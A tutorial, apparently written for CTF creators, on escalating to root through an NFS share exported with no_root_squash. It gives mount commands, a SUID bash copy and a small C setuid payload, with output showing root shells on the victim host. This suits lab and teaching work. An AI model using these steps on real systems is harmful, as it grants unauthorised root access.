Contents

Linux Privilege Escalation - NFS Root Squashing for CTF Creators

NFS

Root squash is an NFS feature that maps the remote root user (UID 0) to a local user with minimal privileges, typically the nobody user (UID 65534). This prevents remote root users from having root privileges on the NFS server, enhancing security.

The NFS configuration file is /etc/exports. Here are the relevant options:

  • no_root_squash: This option disables root squash, allowing the root user on the client to access files on the NFS server as root. This can be risky, as it allows the creation of malicious files on the NFS share with root privileges.

  • no_all_squash: This option is similar to no_root_squash but applies to non-root users, preventing their UIDs from being mapped to the nobody user.

Privilege Escalation via NFS Root Squashing

On the victim machine we’ll find the directory in which NFS is hosting files:

1
cat /etc/exports

On your adversary host, we’ll install the NFS client package:

1
 sudo apt install nfs-common

In our adversary host, we’ll create a directory to host the NFS share:

1
mkdir /tmp/nfs

In our adversary host, we will mount the remote share in the /tmp/nfs directory of our adversary host, make sure to run this command with sudo.

1
sudo mount -o rw,vers=2 10.10.10.14:/tmp /tmp/nfs

The following error means that we don’t have permission to mount the share, try it with sudo instead.

mount.nfs: failed to apply fstab options

The following error means that we need to try another protocol version.

mount.nfs: Protocol not supported

Alternatively, we can mount it this way:

1
sudo mount -t nfs 10.10.10.14:/tmp /tmp/nfs

If we receive the error down by the user:

mount: /tmp/nfs: bad option; for several file systems (e.g. nfs) we might need a /sbin/mount.

This means that we don’t have an NFS client installed:

1
sudo apt install nfs-common

Once the share is mounted we can attempt to create a payload.

We can create a bash binary with a SUID bit:

1
sudo cp /bin/bash /tmp/nfs/bash && sudo chmod u+s /tmp/nfs/bash

Another payload that we can use is a custom C code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main() {
	setresuid(0, 0, 0);
	setuid(getuid());
	system("/usr/bin/bash");
	return 0;
}

Compile this payload and remove any existing if any, then copy the payload to the share:

1
gcc payload.c -o payload && sudo rm /tmp/nfs/payload 2>/dev/null; sudo cp payload /tmp/nfs

Add the SUID bit to the payload executable:

1
sudo chmod u+s /tmp/nfs/payload

Now in the victim host, we can execute any of the previous payloads to escalate privileges:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
user@pwn:/tmp$ ls -l
total 1296
-rwsr-xr-x 1 root root 1230280 Dec 1 09:03 bash
-rwsr-xr-x 1 root root   16232 Dec 1 09:05 payload

user@pwn:/tmp$ ./bash -p
bash-5.1# whoami
root
bash-5.1# exit

user@pwn:/tmp$ ./payload 
root@pwn:/tmp# id
uid=0(root) gid=1000 (user) <...SNIP...>

Once we’re done we can unmount the shared directory in our adversary host:

1
sudo umount /tmp/nfs